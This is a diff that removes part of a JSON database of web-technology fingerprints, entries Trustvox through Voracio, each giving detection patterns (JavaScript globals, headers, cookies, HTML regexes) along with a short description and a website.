"https://trustspot.io/" - }, - "Trustvox": { - "js": [ - "_trustvox_shelf_rate", - "trustvox_id", - "trustvoxcertificatewidget", - "trustvoxrateswidget", - "_trustvox", - "_trustvox_colt" - ], - "description": "Trustvox collects reviews from customers who purchased ecommerce products and publishes them on product pages with Sincerity Seals.", - "website": "https://site.trustvox.com.br" - }, - "TryNow": { - "js": [ - "trynowconfig", - "trynowcheckout" - ], - "description": "TryNow is an ecommerce platform designed to offer a try before you buy experience for shoppers.", - "website": "https://www.trynow.io" - }, - "Tumblr": { - "headers": { - "x-tumblr-user": "" - }, - "html": [ - "\u003ciframe src=\"[^\u003e]+tumblr\\.com" - ], - "description": "Tumblr is a microblogging and social networking website. The service allows users to post multimedia and other content to a short-form blog.", - "website": "http://www.tumblr.com" - }, - "Turbo": { - "js": [ - "turbo" - ], - "description": "Turbo is a JavaScript framework for building fast web applications.", - "website": "https://turbo.hotwired.dev/" - }, - "Turbolinks": { - "js": [ - "turbolinks" - ], - "description": "Turbolinks is a Rails feature, available as a gem and enabled by default in new Rails apps. It is intended to speed up navigating between pages of your application.", - "website": "https://github.com/turbolinks/turbolinks" - }, - "TurfJS": { - "js": [ - "turf.feature", - "turf.point", - "turf.random" - ], - "description": "Turf is a modular geospatial engine written in JavaScript.", - "website": "https://turfjs.org/" - }, - "Twenty Eleven": { - "description": "Twenty Eleven is the default WordPress theme for 2011.", - "website": "https://wordpress.org/themes/twentyeleven" - }, - "Twenty Fifteen": { - "description": "Twenty Fifteen is the default WordPress theme for 2015.", - "website": "https://wordpress.org/themes/twentyfifteen" - }, - "Twenty Fourteen": { - "description": "Twenty Fourteen is the default WordPress theme for 2014.", - "website": "https://wordpress.org/themes/twentyfourteen" - }, - "Twenty Nineteen": { - "description": "Twenty Nineteen is the default WordPress theme for 2019.", - "website": "https://wordpress.org/themes/twentynineteen" - }, - "Twenty Seventeen": { - "js": [ - "twentyseventeenscreenreadertext" - ], - "description": "Twenty Seventeen is the default WordPress theme for 2017.", - "website": "https://wordpress.org/themes/twentyseventeen" - }, - "Twenty Sixteen": { - "description": "Twenty Sixteen is the default WordPress theme for 2016.", - "website": "https://wordpress.org/themes/twentysixteen" - }, - "Twenty Ten": { - "description": "Twenty Ten is the default WordPress theme for 2010.", - "website": "https://wordpress.org/themes/twentyten" - }, - "Twenty Thirteen": { - "description": "Twenty Thirteen is the default WordPress theme for 2013.", - "website": "https://wordpress.org/themes/twentythirteen" - }, - "Twenty Twelve": { - "description": "Twenty Twelve is the default WordPress theme for 2012.", - "website": "https://wordpress.org/themes/twentytwelve" - }, - "Twenty Twenty": { - "js": [ - "twentytwenty" - ], - "description": "Twenty Twenty is the default WordPress theme for 2020.", - "website": "https://wordpress.org/themes/twentytwenty" - }, - "Twenty Twenty-One": { - "js": [ - "twentytwentyonecollapsemenuonclickoutside", - "twentytwentyoneresponsiveembeds" - ], - "description": "Twenty Twenty-One is the default WordPress theme for 2021.", - "website": "https://wordpress.org/themes/twentytwentyone" - }, - "Twenty Twenty-Three": { - "description": "Twenty Twenty-Three is the default WordPress theme for 2023.", - "website": "https://wordpress.org/themes/twentytwentythree" - }, - "Twenty Twenty-Two": { - "description": "Twenty Twenty-Two is the default WordPress theme for 2022.", - "website": "https://wordpress.org/themes/twentytwentytwo" - }, - "TwicPics": { - "headers": { - "server": "^twicpics/\\d+\\.\\d+\\.\\d+$" - }, - "description": "TwicPics offers on-demand responsive image generation.", - "website": "https://www.twicpics.com" - }, - "Twik": { - "js": [ - "twik_id" - ], - "description": "Twik provides a automated, no-configuration business intelligence \u0026 personalization automation engine.", - "website": "https://www.twik.io/" - }, - "Twikoo": { - "js": [ - "twikoo.version" - ], - "description": "Twikoo is a simple, safe, free comment system.", - "website": "https://twikoo.js.org" - }, - "Twilight CMS": { - "headers": { - "x-powered-cms": "twilight cms" - }, - "website": "http://www.twilightcms.com" - }, - "Twilio Authy": { - "js": [ - "authy" - ], - "description": "Twilio Authy provides Two-factor authentication (2FA) adds an additional layer of protection beyond passwords.", - "website": "https://authy.com" - }, - "TwistPHP": { - "headers": { - "x-powered-by": "twistphp" - }, - "implies": [ - "PHP" - ], - "website": "http://twistphp.com" - }, - "TwistedWeb": { - "headers": { - "server": "twistedweb(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "http://twistedmatrix.com/trac/wiki/TwistedWeb" - }, - "Twitch Player": { - "js": [ - "twitch.player" - ], - "description": "Twitch is an American video live streaming service that focuses on video game live streaming, including broadcasts of esports competitions.", - "website": "https://dev.twitch.tv/docs/embed/video-and-clips/" - }, - "Twitter": { - "description": "Twitter is a 'microblogging' system that allows you to send and receive short posts called tweets.", - "website": "http://twitter.com" - }, - "Twitter Ads": { - "js": [ - "twttr" - ], - "description": "Twitter Ads is an advertising platform for Twitter 'microblogging' system.", - "website": "https://ads.twitter.com" - }, - "Twitter Analytics": { - "description": "Twitter Analytics is a built-in data-tracking platform that shows you insights specific to your Twitter account and activity.", - "website": "https://analytics.twitter.com" - }, - "Twitter Emoji (Twemoji)": { - "js": [ - "twemoji", - "twemoji.base" - ], - "description": "Twitter Emoji is a set of open-source emoticons and emojis for Twitter, TweetDeck, and also for Android and iOS versions of the application.", - "website": "https://twitter.github.io/twemoji/" - }, - "Twitter Flight": { - "js": [ - "flight" - ], - "implies": [ - "jQuery" - ], - "website": "https://flightjs.github.io/" - }, - "Twitter typeahead.js": { - "js": [ - "typeahead" - ], - "implies": [ - "jQuery" - ], - "website": "https://twitter.github.io/typeahead.js" - }, - "TypeDoc": { - "implies": [ - "TypeScript" - ], - "description": "TypeDoc is an API documentation generator for TypeScript projects.", - "website": "https://typedoc.org" - }, - "TypePad": { - "meta": { - "generator": [ - "typepad" - ] - }, - "description": "Typepad is a blog hosting service.", - "website": "http://www.typepad.com" - }, - "TypeScript": { - "description": "TypeScript is an open-source language which builds on JavaScript by adding static type definitions.", - "website": "https://www.typescriptlang.org" - }, - "Typecho": { - "js": [ - "typechocomment" - ], - "meta": { - "generator": [ - "typecho( [\\d.]+)?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "Typecho is a PHP Blogging Platform.", - "website": "http://typecho.org/" - }, - "Typeform": { - "js": [ - "tf.createpopover", - "tf.createwidget" - ], - "description": "Typeform is a Spanish online software as a service (SaaS) company that specialises in online form building and online surveys.", - "website": "https://www.typeform.com" - }, - "Typekit": { - "js": [ - "typekit.config.js" - ], - "html": [ - "\u003clink [^\u003e]*href=\"[^\"]+use\\.typekit\\.(?:net|com)" - ], - "description": "Typekit is an online service which offers a subscription library of fonts.", - "website": "http://typekit.com" - }, - "Typof": { - "cookies": { - "typof_session": "\\;confidence:50" - }, - "description": "Typof is an ecommerce platform for artisans that allows to create a premium website and sell items directly to the consumer.", - "website": "https://typof.com" - }, - "Tyslo EasySell": { - "js": [ - "opentysloform", - "tysloapplydiscount", - "tysloconfigversion", - "tysloeasysellconfig" - ], - "implies": [ - "Shopify" - ], - "description": "Tyslo EasySell replaces default Shopify checkout process by embedding (or popup) a simple order form on the product or cart page.", - "website": "https://tyslo.com" - }, - "U-KOMI": { - "js": [ - "getukomislideriteminfo", - "ukomiinstalikestep01" - ], - "description": "U-KOMI is a user generated content review marketing tool.", - "website": "https://u-komi.com/en/" - }, - "UIKit": { - "html": [ - "\u003c[^\u003e]+class=\"[^\"]*(?:uk-container|uk-section)" - ], - "description": "UIKit is the framework used for developing iOS applications.", - "website": "https://getuikit.com" - }, - "UK Mail": { - "description": "UK Mail is a postal service company operating in the United Kingdom.", - "website": "https://www.ukmail.com" - }, - "UKFast": { - "description": "UKFast is a business-to-business internet hosting company based in Manchester, UK.", - "website": "https://www.ukfast.co.uk" - }, - "UMI.CMS": { - "headers": { - "x-generated-by": "umi\\.cms" - }, - "implies": [ - "PHP" - ], - "website": "https://www.umi-cms.ru" - }, - "UNIX": { - "headers": { - "server": "unix" - }, - "description": "Unix is a family of multitasking, multiuser computer operating systems.", - "website": "http://unix.org" - }, - "UPS": { - "description": "UPS is an American multinational shipping \u0026 receiving and supply chain management company.", - "website": "https://www.ups.com" - }, - "USPS": { - "description": "The United States Postal Service (USPS) is an independent agency of the executive branch of the United States federal government responsible for providing postal service in the United States.", - "website": "https://www.usps.com" - }, - "USWDS": { - "js": [ - "uswdspresent" - ], - "description": "USWDS is a design system for the federal government.", - "website": "https://designsystem.digital.gov" - }, - "Ubercart": { - "implies": [ - "Drupal" - ], - "website": "http://www.ubercart.org" - }, - "Ubiliz": { - "js": [ - "ubilizsettings" - ], - "description": "Ubiliz is a gift voucher ecommerce solution.", - "website": "https://www.ubiliz.com" - }, - "Ubuntu": { - "headers": { - "server": "ubuntu", - "x-powered-by": "ubuntu" - }, - "description": "Ubuntu is a free and open-source operating system on Linux for the enterprise server, desktop, cloud, and IoT.", - "website": "http://www.ubuntu.com/server" - }, - "Ueeshop": { - "js": [ - "ueeshop_config" - ], - "description": "Ueeshop is a ecommerce platform from China.", - "website": "https://www.ueeshop.com" - }, - "Ultimate Addons for Elementor": { - "js": [ - "uael_particles_script.particles_url" - ], - "implies": [ - "Elementor" - ], - "description": "Ultimate Addons for Elementor is a plugin that adds new widgets and modules to the Elementor page builder for WordPress, providing additional design options and functionality.", - "website": "https://ultimateelementor.com" - }, - "Ultimate GDPR \u0026 CCPA": { - "js": [ - "ct_ultimate_gdpr_cookie" - ], - "description": "Ultimate GDPR \u0026 CCPA is a compliance toolkit for WordPress by createIT", - "website": "https://www.createit.com/gdpr" - }, - "UltimatelySocial": { - "description": "Ultimately Social (Share Buttons \u0026 Sharing Icons) is a plugin that allows you to place fancy social media icons and buttons on your WordPress website.", - "website": "https://www.ultimatelysocial.com" - }, - "UltraCart": { - "js": [ - "uccatalog" - ], - "html": [ - "\u003cform [^\u003e]*action=\"[^\"]*\\/cgi-bin\\/uceditor\\?(?:[^\"]*\u0026)?merchantid=[^\"]" - ], - "website": "http://ultracart.com" - }, - "Umami": { - "js": [ - "umami" - ], - "description": "Umami is a self-hosted web analytics solution. It's goal is to provide a friendlier, privacy-focused alternative to Google Analytics and a free, open-sourced alternative to paid solutions.", - "website": "https://umami.is/" - }, - "Umbraco": { - "js": [ - "item_info_service", - "uc_image_service", - "uc_item_info_service", - "uc_settings", - "umbraco" - ], - "headers": { - "x-umbraco-version": "^(.+)$\\;version:\\1" - }, - "meta": { - "generator": [ - "umbraco" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "description": "Umbraco is an open-source Microsoft ASP.NET based content management system.", - "website": "https://umbraco.com/" - }, - "UmiJs": { - "js": [ - "g_umi.version" - ], - "implies": [ - "Node.js" - ], - "description": "UmiJs is a scalable, enterprise-class frontend application framework that supports both configuration and conventional routing while maintaining functional completeness, such as dynamic routing, nested routing, and permission routing.", - "website": "https://umijs.org" - }, - "Umso": { - "description": "Umso is a website builder for Startups.", - "website": "https://www.umso.com" - }, - "Unbounce": { - "headers": { - "x-unbounce-pageid": "" - }, - "description": "Unbounce is a tool to build landing pages.", - "website": "http://unbounce.com" - }, - "Unbxd": { - "js": [ - "unbxd.version" - ], - "description": "Unbxd is an ecommerce product discovery platform that applies artificial intelligence and advanced data sciences to connect shoppers to the products they are most likely to buy.", - "website": "https://unbxd.com" - }, - "Underscore.js": { - "js": [ - "_.version", - "_.restarguments" - ], - "description": "Underscore.js is a JavaScript library which provides utility functions for common programming tasks. It is comparable to features provided by Prototype.js and the Ruby language, but opts for a functional programming design instead of extending object prototypes.", - "website": "http://underscorejs.org" - }, - "Understrap": { - "implies": [ - "Bootstrap", - "Underscore.js" - ], - "description": "Understrap is a renowned WordPress starter theme framework that combined Underscores and Bootstrap.", - "website": "https://understrap.com" - }, - "UniFi OS": { - "js": [ - "unificonstant.version" - ], - "description": "UniFi OS is the operating system for UniFi products, which provides a user interface.", - "website": "https://www.ui.com/" - }, - "Uniconsent": { - "website": "https://www.uniconsent.com/" - }, - "Unicorn Platform": { - "js": [ - "unicornplatform" - ], - "description": "Unicorn Platform is a drag and drop website and blog builder for startups, mobile apps, and SaaS.", - "website": "https://unicornplatform.com" - }, - "UnoCSS": { - "css": [ - "--un-(?:rotate|translate|space-x|text-opacity|border-opacity)" - ], - "description": "UnoCSS is instant on-demand Atomic CSS engine.", - "website": "https://uno.antfu.me/" - }, - "Unpkg": { - "description": "Unpkg is a content delivery network for everything on npm.", - "website": "https://unpkg.com" - }, - "Unruly": { - "js": [ - "unruly.native" - ], - "description": "Unruly is a video advertising platform.", - "website": "https://unruly.co" - }, - "UpSellit": { - "js": [ - "usi_analytics", - "usi_app", - "usi_commons", - "usi_cookies" - ], - "description": "UpSellit is a performance based lead and cart abandonment recovery solutions.", - "website": "https://us.upsellit.com" - }, - "UpSolution Zephyr": { - "description": "Zephyr is a WordPress theme developed by UpSolution, a software development company based in Ukraine that specialises in creating themes and plugins for WordPress.", - "website": "https://zephyr.us-themes.com" - }, - "Upfluence": { - "description": "Upfluence is the all-in-one affiliate and influencer marketing platform for ecommerce and direct-to-consumer brands.", - "website": "https://www.upfluence.com" - }, - "Uploadcare": { - "js": [ - "uploadcare.version" - ], - "description": "Uploadcare is a complete file handling platform for online business. Receive files from you users via File Uploader or File Upload API, implement image optimization and transformations with Image CDN API, and get HIPAA-compliant storage.", - "website": "https://uploadcare.com" - }, - "Upptime": { - "description": "Upptime is the open-source uptime monitor and status page, powered entirely by GitHub Actions, Issues, and Pages.", - "website": "https://upptime.js.org" - }, - "Upserve": { - "description": "Upserve is a restaurant management solution featuring an Android or iOS-based point-of-sale system, online ordering, contactless payments, automated inventory management, sales analytics, and more.", - "website": "https://onlineordering.upserve.com" - }, - "UptimeRobot": { - "headers": { - "content-security-policy": "\\.uptimerobot\\.com" - }, - "description": "UptimeRobot is a web-based software that is designed to monitor the sites frequently to check whether any site is down owing to server problem or any bug in coding.", - "website": "https://uptimerobot.com" - }, - "Uptrends": { - "js": [ - "utboomr.version" - ], - "description": "Uptrends is a website and web performance monitoring solution.", - "website": "https://www.uptrends.com" - }, - "Upvoty": { - "js": [ - "upvoty" - ], - "implies": [ - "PHP" - ], - "website": "https://upvoty.com" - }, - "UsableNet": { - "js": [ - "enableusablenetassistive" - ], - "description": "UsableNet is a technology for web accessibility and digital transformation, providing end-to-end services.", - "website": "https://usablenet.com" - }, - "Uscreen": { - "js": [ - "analyticshost" - ], - "description": "Uscreen is a CMS to monetize VOD and live content. They provide site hosting, video hosting, and a payment gateway for selling video based content.", - "website": "https://uscreen.tv/" - }, - "User Accessibility": { - "description": "User Accessibility is a solution incorporating automated site scanning and machine learning for future updates, while utilising JS to conform to WECAG standards for improved website and application accessibility.", - "website": "https://user-a.co.il" - }, - "UserLike": { - "js": [ - "__userlike_mount_guard__", - "userlike", - "userlikeinit" - ], - "description": "Userlike is a cloud-based live chat solution that can be integrated with existing websites.", - "website": "http://userlike.com" - }, - "UserReport": { - "description": "UserReport is an online survey and feedback management platform.", - "website": "https://www.userreport.com" - }, - "UserRules": { - "js": [ - "_usrp" - ], - "website": "http://www.userrules.com" - }, - "UserVoice": { - "js": [ - "uservoice" - ], - "description": "UserVoice is a management to collect and analyse feedback from customers.", - "website": "http://uservoice.com" - }, - "UserWay": { - "description": "UserWay is a web accessibility overlay for websites that claims to improve compliance with accessibility standards.", - "website": "https://userway.org/" - }, - "UserZoom": { - "description": "UserZoom is a cloud-based user experience solution.", - "website": "https://www.userzoom.com" - }, - "Usercentrics": { - "js": [ - "usercentrics.appversion" - ], - "description": "Usercentrics is a SaaS enterprise solution for Consent Management (CMP) that helps enterprise customers to obtain, manage and document the user consent.", - "website": "https://usercentrics.com" - }, - "Userflow": { - "js": [ - "userflowjs_queue", - "userflow.endallflows", - "userflow.endchecklist" - ], - "description": "Userflow is a user onboarding software for building product tours and onboarding checklists, tailored to your app and your users.", - "website": "https://userflow.com" - }, - "Userpilot": { - "js": [ - "userpilotpako", - "userpilot.triggerbyid", - "userpilotinitiatorsdk" - ], - "description": "Userpilot is a cloud-based product experience platform designed for customer success and product teams to onboard users and increase product adoption through behavior-triggered experiences.", - "website": "https://userpilot.com" - }, - "Ushahidi": { - "cookies": { - "ushahidi": "" - }, - "js": [ - "ushahidi" - ], - "implies": [ - "PHP", - "MySQL", - "OpenLayers" - ], - "description": "Ushahidi is a tool that collects crowdsourced data and targeted survey responses from multiple data sources.", - "website": "http://www.ushahidi.com" - }, - "Usizy": { - "js": [ - "usizyuniversal" - ], - "description": "Usizy is the top size recommendation and prediction solution for ecommerce using machine learning, big data, and isomoprhic algorythms.", - "website": "https://usizy.com" - }, - "Uvicorn": { - "headers": { - "server": "uvicorn" - }, - "implies": [ - "Python" - ], - "website": "https://www.uvicorn.org/" - }, - "VAPTCHA": { - "js": [ - "vaptcha" - ], - "description": "VAPTCHA is the abbreviation of (Variation Analysis based Public Turing Test to Tell Computers and Humans Apart), also known as gesture verification code, is a human-machine verification solution based on artificial intelligence and big data.", - "website": "https://en.vaptcha.com" - }, - "VDX.tv": { - "description": "VDX.tv (formerly Exponential) is a global advertising technology company that is transforming the way brands connect with relevant audiences in today's converging video landscape.", - "website": "https://vdx.tv" - }, - "VIVVO": { - "cookies": { - "vivvosessionid": "" - }, - "js": [ - "vivvo" - ], - "website": "http://vivvo.net" - }, - "VK Pixel": { - "description": "VK is a Russian online social media and social networking service.", - "website": "https://vk.com/" - }, - "VKUI": { - "description": "VKUI is a set of React components with which you can create interfaces that are visually indistinguishable from our iOS and Android applications.", - "website": "https://vkcom.github.io/VKUI" - }, - "VP-ASP": { - "html": [ - "\u003ca[^\u003e]+\u003epowered by vp-asp shopping cart\u003c/a\u003e" - ], - "implies": [ - "Microsoft ASP.NET" - ], - "website": "http://www.vpasp.com" - }, - "VTEX": { - "cookies": { - "vtex_session": "", - "vtexfingerprint": "", - "vtexstoreversion": "", - "vtexworkspace": "" - }, - "js": [ - "vtex" - ], - "headers": { - "powered": "vtex", - "server": "^vtex io$" - }, - "description": "VTEX is an ecommerce software that manages multiple online stores.", - "website": "https://vtex.com/" - }, - "VWO": { - "js": [ - "__vwo", - "_vwo_code", - "_vwo_settings_timer", - "vwo" - ], - "description": "VWO is a website testing and conversion optimisation platform.", - "website": "https://vwo.com" - }, - "VWO Engage": { - "js": [ - "_pushcrewdebuggingqueue" - ], - "description": "VWO Engage is a part of the VWO Platform, which is a web-based push notification platform used by SaaS and B2B marketers, online content publishers, and ecommerce store owners.", - "website": "https://vwo.com/engage" - }, - "Vaadin": { - "js": [ - "vaadin" - ], - "implies": [ - "Java" - ], - "description": "Vaadin is an open-source framework for building user interfaces and single-page applications using Java and TypeScript.", - "website": "https://vaadin.com" - }, - "ValueCommerce": { - "description": "ValueCommerce is a pay-per-performance advertising affiliate marketing network.", - "website": "https://www.valuecommerce.co.jp" - }, - "Vanco Payment Solutions": { - "description": "Vanco Payment Solutions provides credit card processing to nonprofits.", - "website": "https://www.vancopayments.com" - }, - "Vanilla": { - "headers": { - "x-powered-by": "vanilla" - }, - "html": [ - "\u003cbody id=\"(?:discussionspage|vanilla)" - ], - "implies": [ - "PHP" - ], - "description": "Vanilla is a both a cloud-based (SaaS) open-source community forum software.", - "website": "http://vanillaforums.org" - }, - "Varbase": { - "js": [ - "drupalsettings.ajaxpagestate.libraries" - ], - "implies": [ - "Drupal" - ], - "website": "https://www.vardot.com/solutions/varbase" - }, - "Variti": { - "headers": { - "x-variti-ccr": "" - }, - "description": "Variti is a network security solutions firm that blocks bad bots, protects users from various automated abuse, attacks and fraud techniques.", - "website": "https://variti.io" - }, - "Varnish": { - "headers": { - "via": "varnish(?: \\(varnish/([\\d.]+)\\))?\\;version:\\1", - "x-varnish": "", - "x-varnish-action": "", - "x-varnish-age": "", - "x-varnish-cache": "", - "x-varnish-hostname": "" - }, - "description": "Varnish is a reverse caching proxy.", - "website": "http://www.varnish-cache.org" - }, - "Ve Global": { - "js": [ - "vetagdata.appsservicesurl" - ], - "description": "Ve Global, formerly known as Ve Interactive, is a global technology company that provides ecommerce businesses with a managed-service of proprietary marketing software and digital advertising solutions.", - "website": "https://ve.com" - }, - "Vendre": { - "js": [ - "vendremap.maps_loaded", - "vendre_config" - ], - "description": "Vendre is a module-based ecommerce system where you choose which functions your organisation needs.", - "website": "https://vendre.io" - }, - "Venmo": { - "description": "Venmo is a mobile payment service owned by PayPal. Venmo account holders can transfer funds to others via a mobile phone app.", - "website": "https://venmo.com" - }, - "VentraIP": { - "description": "VentraIP is the largest privately owned web host and domain name registrar in Australia.", - "website": "https://ventraip.com.au" - }, - "VentryShield": { - "cookies": { - "ventryshield_pre": "" - }, - "headers": { - "x-ventryshield-cache-status": "no-cache", - "x-ventryshield-sid": "" - }, - "description": "VentryShield offers DDoS Protected VPS and Web Hosting.", - "website": "https://ventryshield.net" - }, - "Veoxa": { - "js": [ - "vuveoxacontent" - ], - "html": [ - "\u003cimg [^\u003e]*src=\"[^\"]+tracking\\.veoxa\\.com" - ], - "website": "http://veoxa.com" - }, - "Vercel": { - "headers": { - "server": "^now|vercel$", - "x-now-trace": "", - "x-vercel-cache": "", - "x-vercel-id": "" - }, - "description": "Vercel is a cloud platform for static frontends and serverless functions.", - "website": "https://vercel.com" - }, - "Vercel Analytics": { - "js": [ - "va" - ], - "website": "https://vercel.com/analytics" - }, - "Verifone 2Checkout": { - "description": "Verifone is an American multinational corporation headquartered in Coral Springs, Florida, that provides technology for electronic payment transactions and value-added services at the point-of-sale.", - "website": "https://www.2checkout.com" - }, - "VerifyPass": { - "js": [ - "verifypass_popup", - "verifypass_api_instantiator", - "verifypass_is_loaded" - ], - "description": "VerifyPass is a company which provide secure identity proofing, authentication, and group affiliation verification for teachers and students.", - "website": "https://verifypass.com" - }, - "Verizon Media": { - "description": "Verizon Media is a tech and media company with global assets for advertisers, consumers and media companies.", - "website": "https://www.verizonmedia.com" - }, - "Verloop": { - "js": [ - "verloop" - ], - "description": "Verloop is provider of conversational AI platform for customer support automation.", - "website": "https://verloop.io/" - }, - "VerticalScope": { - "description": "VerticalScope is a Canadian-based technology company that owns and operates a network of online communities and discussion forums focused on a variety of interests and hobbies, such as cars, pets, sports, and technology. VerticalScope generates revenue primarily through advertising, including banner ads, sponsored content, and affiliate marketing.", - "website": "https://www.verticalscope.com" - }, - "Vev": { - "js": [ - "vev.app.compare", - "vev.default_app_state" - ], - "description": "Vev is a cloud-based design and publishing platform that enables users to create interactive digital content without coding, using a drag-and-drop interface and built-in templates and integrations.", - "website": "https://www.vev.design" - }, - "ViaBill": { - "js": [ - "viabilloptions.state.subscriptions", - "viabillpricetaginternal.conf.productsbylocale" - ], - "description": "ViaBill is a cloud-based payment management solution designed to help small to midsize retailers and webshops.", - "website": "https://viabill.com" - }, - "Viafoura": { - "js": [ - "dfm_viafoura_options", - "viafoura.bootstrap", - "viafoura.core" - ], - "description": "Viafoura is an audience engagement and social monetisation platform.", - "website": "https://viafoura.com" - }, - "Vidazoo": { - "js": [ - "vidazoo.version", - "__vidazooplayer__", - "vidazoo" - ], - "description": "Vidazoo is a video content and yield management platform.", - "website": "https://www.vidazoo.com" - }, - "Video Greet": { - "js": [ - "__vg.video_greet_button_src" - ], - "description": "Video Greet lets your customers add a video message to gifts with QR codes.", - "website": "https://apps.shopify.com/videogreet-gift-messages" - }, - "VideoJS": { - "js": [ - "videojs", - "videojs", - "videojs.version" - ], - "css": [ - "\\.video-js\\;confidence:25", - "\\.vjs-big-play-button\\;confidence:75" - ], - "description": "Video.js is a JavaScript and CSS library that makes it easier to work with and build on HTML5 video.", - "website": "http://videojs.com" - }, - "Vigbo": { - "cookies": { - "_gphw_mode": "" - }, - "html": [ - "\u003clink[^\u003e]* href=[^\u003e]+(?:\\.vigbo\\.com|\\.gophotoweb\\.com)" - ], - "website": "https://vigbo.com" - }, - "Vigil": { - "implies": [ - "Rust", - "Docker" - ], - "description": "Vigil is a microservices status page. Monitors a distributed infrastructure and sends alerts (Slack, SMS, etc.).", - "website": "https://github.com/valeriansaliou/vigil" - }, - "Vignette": { - "html": [ - "\u003c[^\u003e]+=\"vgn-?ext" - ], - "website": "http://www.vignette.com" - }, - "Vimeo": { - "js": [ - "vimeo.player", - "vimeoplayer" - ], - "description": "Vimeo is a video hosting, sharing and services platform. Vimeo operation an ad-free basis by providing subscription plans.", - "website": "http://vimeo.com" - }, - "Vimeo OTT": { - "js": [ - "vhx.config", - "_vhx" - ], - "implies": [ - "Vimeo" - ], - "description": "Vimeo OTT allows brands and creators to launch their own white-label video subscription channels, where subscribers can access video content for free, as a rental, or for purchase.", - "website": "https://vimeo.com/ott" - }, - "Viqeo": { - "js": [ - "viqeo" - ], - "description": "Viqeo is a short video platform to make media and ecommerce more visual and interesting.", - "website": "https://viqeo.tv" - }, - "Viral Loops": { - "description": "Viral Loops is a viral and referral marketing platform to launch ranking competitions, sweepstakes, pre-launch and referral programs.", - "website": "https://viral-loops.com" - }, - "Virgool": { - "headers": { - "x-powered-by": "^virgool$" - }, - "website": "https://virgool.io" - }, - "Virtooal": { - "description": "Virtooal allows shoppers to try on and combine decorative cosmetics, sunglasses, contact lenses, jewellery and fashion accessories using models, their own photo or a live webcam feed.", - "website": "https://try.virtooal.com" - }, - "Virtuagym": { - "js": [ - "trigger_vg_neutral_message", - "vgtutorial", - "open_vg_custom_modal" - ], - "description": "Virtuagym is a cloud-based membership management and coaching platform designed for personal trainers and fitness businesses of all sizes.", - "website": "https://business.virtuagym.com" - }, - "Virtual Chat": { - "description": "Virtual Chat is a live-chat service for web sites.", - "website": "https://www.virtual-chat.co.il" - }, - "VirtualSpirits": { - "js": [ - "vspiritbutton", - "vspirits_chat_client", - "vspiritsizeheight" - ], - "description": "VirtualSpirits is a chatbot and live-chat service for websites.", - "website": "https://www.virtualspirits.com" - }, - "VirtueMart": { - "html": [ - "\u003cdiv id=\"vmmainpage" - ], - "implies": [ - "Joomla" - ], - "website": "http://virtuemart.net" - }, - "Virtuoso": { - "headers": { - "server": "virtuoso/?([0-9.]+)?\\;version:\\1" - }, - "meta": { - "copyright": [ - "^copyright \u0026copy; \\d{4} openlink software" - ], - "keywords": [ - "^openlink virtuoso sparql" - ] - }, - "website": "https://virtuoso.openlinksw.com/" - }, - "Virtuous": { - "description": "Virtuous is the responsive fundraising software platform.", - "website": "https://virtuous.org" - }, - "Virtusize": { - "description": "Virtusize is a personalisation service that provides size and product recommendations specific to a user's size and trend preferences.", - "website": "https://www.virtusize.com" - }, - "Visa": { - "js": [ - "visaapi", - "visaimage", - "visasrc" - ], - "website": "https://www.visa.com" - }, - "Visa Checkout": { - "description": "Visa facilitates electronic funds transfers throughout the world, most commonly through Visa-branded credit cards, debit cards and prepaid cards.", - "website": "https://checkout.visa.com" - }, - "Visely": { - "js": [ - "visely.recommendationsapi", - "viselycartproductids", - "viselypage" - ], - "description": "Visely is a Shopify app which personalise product recommendations for Shopify sites.", - "website": "https://visely.io" - }, - "Visual Composer": { - "meta": { - "generator": [ - "powered by visual composer website builder" - ] - }, - "implies": [ - "WordPress", - "PHP" - ], - "description": "Visual Composer is an all-in-one web design tool for anyone who uses WordPress.", - "website": "https://visualcomposer.com" - }, - "Visual Quiz Builder": { - "description": "Visual Quiz Builder is a Shopify app built by AskWhai.", - "website": "https://apps.shopify.com/product-recommendation-quiz" - }, - "Visualsoft": { - "cookies": { - "vscommerce": "" - }, - "meta": { - "vs_status_checker_version": [ - "\\d+" - ], - "vsvatprices": [] - }, - "description": "Visualsoft is an ecommerce agency that delivers web design, development and marketing services to online retailers.", - "website": "https://www.visualsoft.co.uk/" - }, - "Visx": { - "description": "Visx is a collection of React-based data visualisation tools developed by Airbnb.", - "website": "https://airbnb.io/visx/" - }, - "Vitals": { - "js": [ - "vitals", - "vitals_app_cache_keys_v1", - "vitals_country_code", - "vitals_product_data" - ], - "description": "Vitals is an all-in-one Shopify marketing software.", - "website": "https://vitals.co" - }, - "Vite": { - "js": [ - "__vite_is_modern_browser" - ], - "description": "Vite is a rapid development tool for modern web projects.", - "website": "https://vitejs.dev" - }, - "VitePress": { - "js": [ - "__vp_hash_map__" - ], - "implies": [ - "Vue.js", - "Vite" - ], - "description": "VitePress is a Vite \u0026 Vue Powered Static Site Generator.", - "website": "https://vitepress.vuejs.org/" - }, - "Vitrin.me": { - "implies": [ - "Python", - "Django", - "React", - "Next.js" - ], - "description": "Vitrin.me is a no-code platform that lets anyone build web apps without writing any code.", - "website": "https://vitrin.me" - }, - "Vizury": { - "js": [ - "vizury_data", - "safarivizury" - ], - "description": "Vizury is a ecommerce marketing platform.", - "website": "https://www.vizury.com" - }, - "Vnda": { - "js": [ - "vnda.loadcartpopup", - "vnda.checkout" - ], - "meta": { - "image": [ - "cdn\\.vnda\\.com\\.br/" - ] - }, - "implies": [ - "Node.js", - "Amazon Web Services" - ], - "description": "Vnda is a omnichannel ecommerce platform.", - "website": "https://www.vnda.com.br" - }, - "Vntana": { - "description": "Vntana (stylised as VNTANA) is an American social augmented reality company.", - "website": "https://www.vntana.com" - }, - "Volusion": { - "js": [ - "volusion" - ], - "html": [ - "\u003clink [^\u003e]*href=\"[^\"]*/vspfiles/\\;version:1", - "\u003cbody [^\u003e]*data-vn-page-name\\;version:2" - ], - "description": "Volusion is a cloud-based, hosted ecommerce solution.", - "website": "https://www.volusion.com" - }, - "Vonage Video API": { - "description": "Vonage Video API platform makes it easy to embed real-time, high-quality interactive video, messaging, screen-sharing, and more into web and mobile apps.", - "website": "https://www.vonage.com/communications-apis/video/" - }, - "Voog.com Website Builder": { - "html": [ - "\u003cscript [^\u003e]*src=\"[^\"]*voog\\.com/tracker\\.js" - ], - "website": "https://www.voog.com/" - }, - "Voracio": { - "cookies": { - "voracio_csrf_token": "", - "voracio_sessionid": "" - }, - "js": [ - "voracio" 